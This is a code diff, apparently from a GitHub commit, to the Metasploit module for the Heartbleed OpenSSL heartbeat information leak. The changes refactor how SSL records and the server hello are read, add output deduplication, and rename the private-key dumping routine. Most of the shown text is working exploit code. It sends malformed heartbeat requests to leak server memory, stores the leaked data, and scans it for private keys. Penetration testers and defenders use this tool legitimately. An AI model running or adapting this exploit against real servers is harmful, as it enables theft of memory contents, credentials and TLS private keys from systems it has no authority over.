@@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
71
71
0x00ff # Unknown
72
72
]
73
73
74
+ SSL_RECORD_HEADER_SIZE = 0x05
74
75
HANDSHAKE_RECORD_TYPE = 0x16
75
76
HEARTBEAT_RECORD_TYPE = 0x18
76
77
ALERT_RECORD_TYPE = 0x15
@@ -79,7 +80,6 @@ class Metasploit3 < Msf::Auxiliary
79
80
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
80
81
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
81
82
82
-
83
83
TLS_VERSION = {
84
84
'SSLv3' => 0x0300 ,
85
85
'1.0' => 0x0301 ,
@@ -99,6 +99,9 @@ class Metasploit3 < Msf::Auxiliary
99
99
# See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
100
100
SAFE_CHECK_MAX_RECORD_LENGTH = ( 1 << 14 )
101
101
102
+ # For verbose output, deduplicate repeated characters beyond this threshold
103
+ DEDUP_REPEATED_CHARS_THRESHOLD = 400
104
+
102
105
def initialize
103
106
super (
104
107
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak' ,
@@ -203,18 +206,13 @@ def run
203
206
204
207
# Main method
205
208
def run_host ( ip )
206
- # initial connect to get public key and stuff
207
- connect_result = establish_connect
208
- disconnect
209
- return if connect_result . nil?
210
-
211
209
case action . name
212
210
when 'SCAN'
213
211
loot_and_report ( bleed )
214
212
when 'DUMP'
215
213
loot_and_report ( bleed ) # Scan & Dump are similar, scan() records results
216
214
when 'KEYS'
217
- getkeys
215
+ get_keys
218
216
else
219
217
# Shouldn't get here, since Action is Enum
220
218
print_error ( "Unknown Action: #{ action . name } " )
@@ -424,20 +422,15 @@ def establish_connect
424
422
425
423
vprint_status ( "#{ peer } - Sending Client Hello..." )
426
424
sock . put ( client_hello )
427
- server_hello = get_data
428
- unless server_hello
429
- vprint_error ( "#{ peer } - No Server Hello after #{ response_timeout } seconds..." )
430
- return nil
431
- end
432
425
433
- server_resp_parsed = parse_ssl_record ( server_hello )
426
+ server_resp = get_server_hello
434
427
435
- if server_resp_parsed . nil?
428
+ if server_resp . nil?
436
429
vprint_error ( "#{ peer } - Server Hello Not Found" )
437
430
return nil
438
431
end
439
432
440
- server_resp_parsed
433
+ server_resp
441
434
end
442
435
443
436
# Generates a heartbeat request
@@ -455,7 +448,7 @@ def bleed
455
448
456
449
vprint_status ( "#{ peer } - Sending Heartbeat..." )
457
450
sock . put ( heartbeat_request ( heartbeat_length ) )
458
- hdr = get_data ( 5 )
451
+ hdr = get_data ( SSL_RECORD_HEADER_SIZE )
459
452
if hdr . nil? || hdr . empty?
460
453
vprint_error ( "#{ peer } - No Heartbeat response..." )
461
454
disconnect
@@ -533,16 +526,34 @@ def loot_and_report(heartbeat_data)
533
526
print_status ( "#{ peer } - Heartbeat data stored in #{ path } " )
534
527
end
535
528
536
- vprint_status ( "#{ peer } - Printable info leaked: #{ heartbeat_data . gsub ( /[^[:print:]]/ , '' ) } " )
529
+ # Convert non-printable characters to periods
530
+ printable_data = heartbeat_data . gsub ( /[^[:print:]]/ , '.' )
531
+
532
+ # Keep this many duplicates as padding around the deduplication message
533
+ duplicate_pad = ( DEDUP_REPEATED_CHARS_THRESHOLD / 3 ) . round
534
+
535
+ # Remove duplicate characters
536
+ abbreviated_data = printable_data . gsub ( /(.)\1 {#{ ( DEDUP_REPEATED_CHARS_THRESHOLD - 1 ) } ,}/ ) do |s |
537
+ s [ 0 , duplicate_pad ] +
538
+ ' repeated ' + ( s . length - ( 2 * duplicate_pad ) ) . to_s + ' times ' +
539
+ s [ -duplicate_pad , duplicate_pad ]
540
+ end
541
+
542
+ # Show abbreviated data
543
+ vprint_status ( "#{ peer } - Printable info leaked:\n #{ abbreviated_data } " )
537
544
538
545
end
539
546
540
547
#
541
- # Keydumoing helper methods
548
+ # Keydumping helper methods
542
549
#
543
550
544
551
# Tries to retreive the private key
545
- def getkeys
552
+ def get_keys
553
+ connect_result = establish_connect
554
+ disconnect
555
+ return if connect_result . nil?
556
+
546
557
print_status ( "#{ peer } - Scanning for private keys" )
547
558
count = 0
548
559
@@ -681,11 +692,32 @@ def client_hello
681
692
ssl_record ( HANDSHAKE_RECORD_TYPE , data )
682
693
end
683
694
684
- # Parse SSL header
685
- def parse_ssl_record ( data )
686
- ssl_records = [ ]
687
- remaining_data = data
695
+ def get_ssl_record
696
+ hdr = get_data ( SSL_RECORD_HEADER_SIZE )
697
+
698
+ unless hdr
699
+ vprint_error ( "#{ peer } - No SSL record header received after #{ response_timeout } seconds..." )
700
+ return nil
701
+ end
702
+
703
+ len = hdr . unpack ( 'Cnn' ) [ 2 ]
704
+ data = get_data ( len )
705
+
706
+ unless data
707
+ vprint_error ( "#{ peer } - No SSL record contents received after #{ response_timeout } seconds..." )
708
+ return nil
709
+ end
710
+
711
+ hdr << data
712
+ end
713
+
714
+ # Get and parse server hello response until we hit Server Hello Done or timeout
715
+ def get_server_hello
716
+ server_done = nil
688
717
ssl_record_counter = 0
718
+
719
+ remaining_data = get_ssl_record
720
+
689
721
while remaining_data && remaining_data . length > 0
690
722
ssl_record_counter += 1
691
723
ssl_unpacked = remaining_data . unpack ( 'CH4n' )
@@ -702,17 +734,19 @@ def parse_ssl_record(data)
702
734
else
703
735
ssl_data = remaining_data [ 5 , ssl_len ]
704
736
handshakes = parse_handshakes ( ssl_data )
705
- ssl_records << {
706
- :type => ssl_type ,
707
- :version => ssl_version ,
708
- :length => ssl_len ,
709
- :data => handshakes
710
- }
737
+
738
+ # Stop once we receive a SERVER_HELLO_DONE
739
+ if handshakes && handshakes . length > 0 && handshakes [ -1 ] [ :type ] == HANDSHAKE_SERVER_HELLO_DONE_TYPE
740
+ server_done = true
741
+ break
742
+ end
743
+
711
744
end
712
- remaining_data = remaining_data [ ( ssl_len + 5 ) ..-1 ]
745
+
746
+ remaining_data = get_ssl_record
713
747
end
714
748
715
- ssl_records
749
+ server_done
716
750
end
717
751
718
752
# Parse Handshake data returned from servers
0 commit comments